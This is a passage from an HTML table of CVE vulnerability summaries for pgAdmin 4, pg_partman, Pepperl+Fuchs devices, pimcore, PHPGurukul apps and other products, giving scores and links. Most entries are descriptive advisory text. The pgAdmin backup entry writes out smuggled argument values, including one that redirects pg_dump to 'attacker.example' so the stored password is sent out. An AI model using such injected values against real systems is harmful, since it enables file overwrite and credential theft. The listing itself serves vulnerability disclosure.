&lt;td&gt;A low-privileged remote attacker can exploit a local file inclusion vulnerability in the /index.php/ajax/save_iodd_parameters endpoint using a valid operator cookie allowing execution of arbitrary PHP code on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27556&quot; target=&quot;_blank&quot;&gt;CVE-2026-27556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/attached_devices_tab/ajax_remove_uploaded_iodd_files endpoint using operator credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27558&quot; target=&quot;_blank&quot;&gt;CVE-2026-27558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the /api/status/data endpoint by sending a crafted GET request with user credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27559&quot; target=&quot;_blank&quot;&gt;CVE-2026-27559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;An unauthenticated remote attacker can exploit a path traversal vulnerability in the /index.php/view_uploaded_iodd_file endpoint allowing the SSH server&#039;s private keys to be read.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27557&quot; target=&quot;_blank&quot;&gt;CVE-2026-27557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A high-privileged remote attacker can exploit a command injection vulnerability in the /api/status/data endpoint by sending a crafted DELETE request with admin credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27560&quot; target=&quot;_blank&quot;&gt;CVE-2026-27560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A high-privileged remote attacker can exploit a command injection vulnerability in the /api/iodd/config endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27561&quot; target=&quot;_blank&quot;&gt;CVE-2026-27561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A high-privileged remote attacker can exploit a command injection vulnerability in the /api/iodd/config endpoint by sending a crafted PUT request with admin credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27562&quot; target=&quot;_blank&quot;&gt;CVE-2026-27562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A high-privileged remote attacker can exploit a command injection vulnerability in the /api/datastorage/data endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27563&quot; target=&quot;_blank&quot;&gt;CVE-2026-27563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A high-privileged remote attacker can exploit a command injection vulnerability in the /api/datastorage/data endpoint by sending a PUT request with admin credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27564&quot; target=&quot;_blank&quot;&gt;CVE-2026-27564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgadmin.org--pgAdmin 4&lt;/td&gt;
&lt;td&gt;pgAdmin 4&#039;s Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.get_user() read config.WEBSERVER_REMOTE_USER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP request headers via request.headers.get(). An inbound HTTP header is written by whoever sends the request, so any client able to reach pgAdmin could supply that header itself and be authenticated as any username it named, including an existing Administrator, without presenting a password or any other credential. The environment lookup could also be satisfied by a client-supplied header whenever WEBSERVER_REMOTE_USER was configured to an HTTP_-prefixed or hyphenated name such as HTTP_X_FORWARDED_USER or X-Forwarded-User, since WSGI servers place inbound headers into the environment under exactly those names. Deployments are affected only when &#039;webserver&#039; is enabled in AUTHENTICATION_SOURCES. The fix distinguishes a genuine CGI/WSGI variable from a header-derived one and implicitly trusts only the former. A header-asserted identity is now accepted only when the operator explicitly opts in via WEBSERVER_REMOTE_USER_FROM_HEADER, the request arrives from a peer listed in WEBSERVER_TRUSTED_PROXIES, and, when configured, a shared secret supplied in WEBSERVER_SHARED_SECRET_HEADER matches WEBSERVER_SHARED_SECRET under a constant-time comparison. The trusted-peer check deliberately reads the real socket peer address rather than request.remote_addr, because ProxyFix rewrites the latter from the client-controlled X-Forwarded-For header and would otherwise allow an attacker to claim to be the trusted proxy. As defence in depth, login() now refuses any account whose auth_source is not &#039;webserver&#039;, so a misconfigured trust gate cannot be used to assume an internal or LDAP account. This issue affects pgAdmin 4: from 6.2 before 9.18.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86863&quot; target=&quot;_blank&quot;&gt;CVE-2026-86863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgadmin.org--pgAdmin 4&lt;/td&gt;
&lt;td&gt;pgAdmin 4&#039;s Backup tool appended the client-supplied &#039;database&#039; field from the /backup/job/&amp;lt;sid&amp;gt;/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user&#039;s File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin&#039;s own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as &#039;host=attacker.example port=5432 dbname=x&#039; redirected pg_dump to a server of the attacker&#039;s choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86864&quot; target=&quot;_blank&quot;&gt;CVE-2026-86864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpartman--pg_partman&lt;/td&gt;
&lt;td&gt;pg_partman is a PostgreSQL extension that manages partitioned tables by time or ID. Prior to 5.5.0, create_partition_time() reads the writable part_config.time_encoder text value and interpolates it without identifier quoting into a dynamically executed SELECT statement. A role with the documented partman_user INSERT and UPDATE privileges can store SQL rather than a function name. When pg_partman_bgw later creates a child partition for a text- or UUID-keyed set, the worker executes the stored SQL with pg_partman_bgw.role privileges, which default to PostgreSQL superuser. The persistent configuration row can repeatedly restore elevated access on later maintenance ticks, and successful exploitation can permit database-wide compromise and operating-system command execution as the PostgreSQL service account. This issue is fixed in version 5.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61781&quot; target=&quot;_blank&quot;&gt;CVE-2026-61781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpartman--pg_partman&lt;/td&gt;
&lt;td&gt;pg_partman is a PostgreSQL extension that manages partitioned tables by time or ID. Prior to 5.5.0, run_maintenance(), show_partitions(), show_partition_info(), undo_partition(), and partition_data_time() interpolate the writable part_config.time_dncoder text value without identifier quoting into dynamic SQL. A role with the documented partman_user privileges can store SQL rather than a decoder function name. When an affected operation later uses the poisoned value, including pg_partman_bgw maintenance for a text- or UUID-keyed set, the SQL executes with the operation&#039;s privileges, which can be the default PostgreSQL superuser background-worker role. The persistent row can restore elevated access on later ticks, and successful exploitation can permit database-wide compromise and operating-system command execution as the PostgreSQL service account. This issue is fixed in version 5.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61817&quot; target=&quot;_blank&quot;&gt;CVE-2026-61817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpartman--pg_partman&lt;/td&gt;
&lt;td&gt;pg_partman is a PostgreSQL extension that manages partitioned tables by time or ID. Prior to 5.5.0, undo_partition() reads part_config.time_encoder as unrestricted text and interpolates it without identifier quoting into a dynamically executed SELECT statement. A role with partman_user access can store SQL rather than a function name, and the SQL executes with the privileges of the caller that invokes undo_partition(). The function is not part of the default background-worker path, which limits the automatic superuser escalation described by the related create-partition vulnerability, but a privileged caller can still have its available confidentiality, integrity, and availability permissions abused. This issue is fixed in version 5.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61818&quot; target=&quot;_blank&quot;&gt;CVE-2026-61818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpartman--pg_partman&lt;/td&gt;
&lt;td&gt;pg_partman is a PostgreSQL extension that manages partitioned tables by time or ID. Prior to 5.5.0, when pg_jobmon is installed and part_config.jobmon is true, exception handlers in multiple pg_partman functions place p_parent_table verbatim inside a SQL string literal used to call pg_jobmon.add_job(). A partman_user can create a parent-table name containing a single quote that terminates the literal and injects SQL when an affected exception path runs. If pg_partman_bgw reaches that path, the injected SQL executes with pg_partman_bgw.role privileges, which default to PostgreSQL superuser, permitting database-wide compromise and operating-system command execution as the PostgreSQL service account. The persistent part_config row can trigger the escalation again on later maintenance ticks. This issue is fixed in version 5.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61819&quot; target=&quot;_blank&quot;&gt;CVE-2026-61819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpartman--pg_partman&lt;/td&gt;
&lt;td&gt;pg_partman is a PostgreSQL extension that manages partitioned tables by time or ID. Prior to 5.5.0, inherit_template_properties() manually surrounds primary-key column names from pg_attribute.attname with double quotes without escaping embedded double-quote characters. A partman_user who owns a template table can create a crafted column name that breaks out of the generated ALTER TABLE ADD PRIMARY KEY identifier when the background worker applies the key to a child partition. The generated SQL then executes with pg_partman_bgw.role privileges, which default to PostgreSQL superuser, permitting database-wide compromise and operating-system command execution as the PostgreSQL service account. The crafted catalog identifier persists until removed and can trigger again during later partition creation. This issue is fixed in version 5.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61820&quot; target=&quot;_blank&quot;&gt;CVE-2026-61820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpartman--pg_partman&lt;/td&gt;
&lt;td&gt;pg_partman is a PostgreSQL extension that manages partitioned tables by time or ID. Prior to 5.5.0, drop_partition_id() and drop_partition_time() use part_config.retention_schema as the target for ALTER TABLE SET SCHEMA and accept any nonempty schema name. A role with partman_user access can select a target schema where the role lacks the normal CREATE privilege, and the background worker performs the relocation with pg_partman_bgw.role privileges, which default to PostgreSQL superuser, bypassing the authorization check that a normal ALTER TABLE SET SCHEMA operation would enforce. This permits unauthorized relocation of retained child tables between schemas. This issue is fixed in version 5.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61821&quot; target=&quot;_blank&quot;&gt;CVE-2026-61821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Blood Donor Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in PHPGurukul Blood Donor Management System 1.0. Affected is the function __construct of the file /application/controllers/admin/Dashboard.php of the component Admin Controllers. The manipulation leads to improper authentication. The attack can be initiated remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90840&quot; target=&quot;_blank&quot;&gt;CVE-2026-90840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Blood Donor Management System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in PHPGurukul Blood Donor Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /application/controllers/admin/Report.php of the component Report Endpoint. The manipulation of the argument fromdate/todate results in sql injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90841&quot; target=&quot;_blank&quot;&gt;CVE-2026-90841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Daily Expense Tracker System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in PHPGurukul Daily Expense Tracker System 1.1. This vulnerability affects unknown code of the file /dets/index.php of the component Login. Performing a manipulation of the argument email results in sql injection. Remote exploitation of the attack is possible. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90844&quot; target=&quot;_blank&quot;&gt;CVE-2026-90844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Daily Expense Tracker System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in PHPGurukul Daily Expense Tracker System 1.1. Impacted is an unknown function of the file /dets/forgot-password.php. The manipulation of the argument email/contactno leads to sql injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90846&quot; target=&quot;_blank&quot;&gt;CVE-2026-90846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;phpList--phpList&lt;/td&gt;
&lt;td&gt;phpList versions before 3.6.17 fail to validate cross-site request forgery tokens in the mass subscriber removal form handler. Attackers can induce logged-in administrators to visit crafted pages that silently delete and blacklist arbitrary subscriber addresses without authentication verification.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92806&quot; target=&quot;_blank&quot;&gt;CVE-2026-92806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pig-mesh--pig&lt;/td&gt;
&lt;td&gt;pig before 4.1.0 contains an authentication bypass vulnerability in the /register/password endpoint where password verification results are discarded, allowing any value as the current password. Remote attackers can submit a username with an incorrect current password to overwrite any account credential including the admin account and gain full administrative control.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91995&quot; target=&quot;_blank&quot;&gt;CVE-2026-91995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pimcore--pimcore&lt;/td&gt;
&lt;td&gt;Pimcore is an Open Source Data &amp;amp; Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55072&quot; target=&quot;_blank&quot;&gt;CVE-2026-55072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pimcore--pimcore&lt;/td&gt;
&lt;td&gt;Pimcore is an Open Source Data &amp;amp; Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, an authenticated user with reports_config permission can place attacker-controlled SQL fragments in the sql, from, where, and groupby fields of a Custom Reports configuration processed by bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php. The buildQueryString() method concatenates these values into a database query, while a blacklist omits dangerous constructs such as additional data-manipulation statements, comments, subqueries, and multiple statements. The getData() method also previously interpolated offset and limit values into a LIMIT clause without integer casting. Executing the configured report reaches fetchAllAssociative() with the constructed query and can disclose, modify, or delete arbitrary database data. This issue is fixed in versions 11.5.19, 12.3.10, and 2026.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55416&quot; target=&quot;_blank&quot;&gt;CVE-2026-55416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pipeboard-co--meta-ads-mcp&lt;/td&gt;
&lt;td&gt;Meta Ads MCP is a Model Context Protocol (MCP) server that lets AI assistants run Meta Ads. Prior to version 1.0.115, the upload_ad_image tool in meta_ads_mcp/core/ads.py passes an attacker-controlled image_url to try_multiple_download_methods() in meta_ads_mcp/core/utils.py, where httpx.AsyncClient uses follow_redirects=True and performs HTTP requests without validating the scheme, host, or resolved IP address. In a streamable-http deployment, a network caller can use any non-empty authorization value because Meta credential validation occurs after the image download, then direct the server to loopback services, private-network addresses, cloud metadata endpoints, or redirect-chained internal targets. The resulting server-side request forgery can expose internal data, invoke state-changing internal services, or disrupt reachable services. This issue is fixed in version 1.0.115.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54549&quot; target=&quot;_blank&quot;&gt;CVE-2026-54549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pipeboard-co--meta-ads-mcp&lt;/td&gt;
&lt;td&gt;Meta Ads MCP is a Model Context Protocol (MCP) server that lets AI assistants run Meta Ads. Prior to version 1.0.115, AuthInjectionMiddleware in meta_ads_mcp/core/http_auth_integration.py rejects HTTP MCP requests only when both auth_token and pipeboard_token are absent, while extract_token_from_headers() does not recognize X-Pipeboard-Token as a primary credential. A network caller using the streamable-http transport can therefore send any X-Pipeboard-Token value, pass the guard without establishing authentication context, and cause get_auth_token() to fall back to the server operator&#039;s META_ACCESS_TOKEN. Subsequent MCP tools execute with the operator&#039;s Meta credentials and can read or modify the operator&#039;s Meta Ads data. Deployments using the default stdio transport or without META_ACCESS_TOKEN are not affected. This issue is fixed in version 1.0.115.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54547&quot; target=&quot;_blank&quot;&gt;CVE-2026-54547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pixarlabs--Master Addons for Elementor Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder &amp;amp; Template Kits&lt;/td&gt;
&lt;td&gt;The Master Addons for Elementor - Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder &amp;amp; Template Kits plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.2.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify the title and metadata of arbitrary WordPress posts or permanently delete arbitrary WordPress posts by supplying an attacker-controlled popup_id. The required nonce is emitted on the edit-jltma_popup admin screen, which is accessible to Contributors because the jltma_popup custom post type is registered with capability_type=&#039;post&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85410&quot; target=&quot;_blank&quot;&gt;CVE-2026-85410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pjsip--pjproject&lt;/td&gt;
&lt;td&gt;PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the OpenSSL and GnuTLS backends in pjlib/src/pj/ssl_sock_ossl.c and pjlib/src/pj/ssl_sock_gtls.c copy DNS SubjectAltName values with string functions that recalculate their length and truncate an embedded NUL byte. With server verification enabled through --tls-verify-server for the PJSIP TLS/SIPS transport, a certificate containing a DNS SubjectAltName formed from the target hostname prefix followed by an embedded NUL and an attacker-controlled suffix can therefore be accepted for the prefix hostname. An attacker who possesses such a certificate from a trusted issuer and can intercept the connection can impersonate the target server, complete the SIP session, and receive REGISTER credentials. The mbedTLS backend is not affected because it preserves the explicit string length. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84975&quot; target=&quot;_blank&quot;&gt;CVE-2026-84975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PLANET Technology Corp.--PLANET IGS-5225-8P2T4S V1&lt;/td&gt;
&lt;td&gt;PLANET IGS-5225-8P2T4S industrial managed switch V1 and V2 firmware versions before 1.2412b260707 and 2.2412b260519 contain an OS command injection vulnerability in the web server. User-supplied input is passed to system() without sufficient filtering, allowing a remote authenticated attacker to execute arbitrary commands on the underlying operating system and escalate privileges to root.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81942&quot; target=&quot;_blank&quot;&gt;CVE-2026-81942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PLANET Technology Corp.--PLANET IGS-5225-8P2T4S V1&lt;/td&gt;
&lt;td&gt;PLANET IGS-5225-8P2T4S industrial managed switch V1 and V2 firmware versions before 1.2412b260707 and 2.2412b260519 contain a stack-based buffer overflow in the web server. Insufficient bounds checking on data copied into a stack buffer allows a remote authenticated attacker to cause a denial of service or potentially execute arbitrary code on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81944&quot; target=&quot;_blank&quot;&gt;CVE-2026-81944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;plutext--docx4j&lt;/td&gt;
&lt;td&gt;docx4j is an open source Java library for creating, editing, and saving OpenXML packages, including DOCX, PPTX, and XLSX files. Prior to 11.5.14, PropertyResolver and adjacent helpers recursively follow the WordprocessingML w:basedOn style inheritance chain without cycle detection. A well-formed DOCX containing mutually based styles causes unbounded recursion in PropertyResolver.fillPPrStack and related effective-style resolution paths, resulting in StackOverflowError. Server-side conversion and table-of-contents processing of an untrusted document can terminate a worker thread, degrade a thread pool, or deny service, although isolation in disposable workers or safe containment of StackOverflowError can reduce the practical effect. The fix adds cyclic-style tracking and CyclicStylesException handling. This issue is fixed in version 11.5.14.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53752&quot; target=&quot;_blank&quot;&gt;CVE-2026-53752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;polyaxon--polyaxon&lt;/td&gt;
&lt;td&gt;Polyaxon through 2.16.4 renders operation specification fields with an unsandboxed Jinja2 environment during server-side run preparation, allowing authenticated users to execute arbitrary code. Attackers can submit runs with Jinja2 payloads in queue, namespace, conditions, presets, or dependencies fields to execute operating system commands in the scheduler process context, exposing database credentials and service tokens.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91925&quot; target=&quot;_blank&quot;&gt;CVE-2026-91925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pomerium--pomerium&lt;/td&gt;
